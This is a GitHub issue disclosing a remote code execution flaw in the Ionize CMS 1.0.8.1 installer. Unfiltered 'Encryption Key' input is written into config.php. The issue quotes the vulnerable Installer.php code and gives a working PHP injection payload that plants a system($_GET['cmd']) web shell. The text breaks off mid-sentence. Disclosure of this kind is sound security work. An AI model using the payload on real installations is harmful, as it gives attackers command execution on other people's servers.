

New issue

[Jump to bottom](#)

RCE exists in Ionize-V1.0.8.1 'install/class/Installer.php' file

#L1035 #403

Closed

Overf1ow opened this issue on Feb 24 · 1 comment

Overf1ow commented on Feb 24

The "Encryption Key" parameter of the installation page uri `"/install/?step=user&lang=en"` is not strictly filtered, and any string can be written to the `"application/config/config.php"` file, resulting in arbitrary code execution.

Vulnerability reason

write configuration file directly without filtering

Where the vulnerability occurs:

<https://github.com/ionize/ionize/blob/master/install/class/Installer.php#L1035>

github.com/ionize/ionize/blob/master/install/class/Installer.php#L1035

```
1026      * Saves the user informations
1027      *
1028      */
1029      function _save_user()
1030      {
1031          // Config library
1032          require_once('./class/Config.php');
1033
1034          // Saves the new encryption key
1035          if ( !empty($_POST['encryption_key']) && strlen($_POST['encryption_key']) > 31)
1036          {
1037              include(APPPATH.'config/config.php');
1038              include(APPPATH.'config/user.php');
1039
1040              if ($config['encryption_key'] == '')
1041              {
1042                  $conf = new ION_Config(APPPATH.'config/', 'config.php');
1043
1044                  $conf->set_config('encryption_key', $_POST['encryption_key']);
1045
1046                  if ($conf->save() == FALSE)
1047                  {
1048                      $this->_send_error('user', lang('settings_error_write_rights_config'), $_POST);
1049                  }
1050              }
1051          }
1052      }
```

Vulnerability Demo

When installing to user settings, the value of the Encryption Key will be written to the configuration file "application/config/config.php"

The screenshot shows the Ionize 1.0.8 installation wizard on the left and a code editor on the right. The wizard is at the 'Settings' step, showing fields for 'Admin user account' (Login, First Name, Last Name, Email, Password, Confirm Password) and an 'Encryption Key'. The key is pre-filled with 'AIUtAqiwiHu9A3Alu4YLIZiduraPy9Ex'. Below the key field are buttons for 'Skip & Next step' and 'Save & Go to Next step'. The code editor on the right shows the 'config.php' file. A red arrow points from the 'Encryption Key' field in the wizard to the line in the config file: `$config['encryption_key'] = '';`. Another red arrow points from the 'Save & Go to Next step' button to the same line in the config file. The config file also shows session settings like `$config['sess_cookie_name']`, `$config['sess_expiration']`, etc.

payload:

```
111111111111111111111111111111111';system($_GET['cmd']);//
```

Enter payload to submit

System-Check > Database > **Settings** > Demo Data > End

Admin user account

You will connect to the Administration panel with this login.

Login (min. 4 chars)	admin
First Name	mr
Last Name	zhou
Email	111@test.com
Password (min. 4 chars)
Confirm Password

Encryption Key

Ionize needs an 128 bits Encryption Key.
This key will encode the users account and all sensitive data.
It will be written in the `/application/config/config.php` file.

Encryption Key	11111111111111111111111111111111';system(\$_GET['cmd']);//
----------------	--

Skip & Next step

Save & Go to Next step

Ok, the payload has been successfully written into

...

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

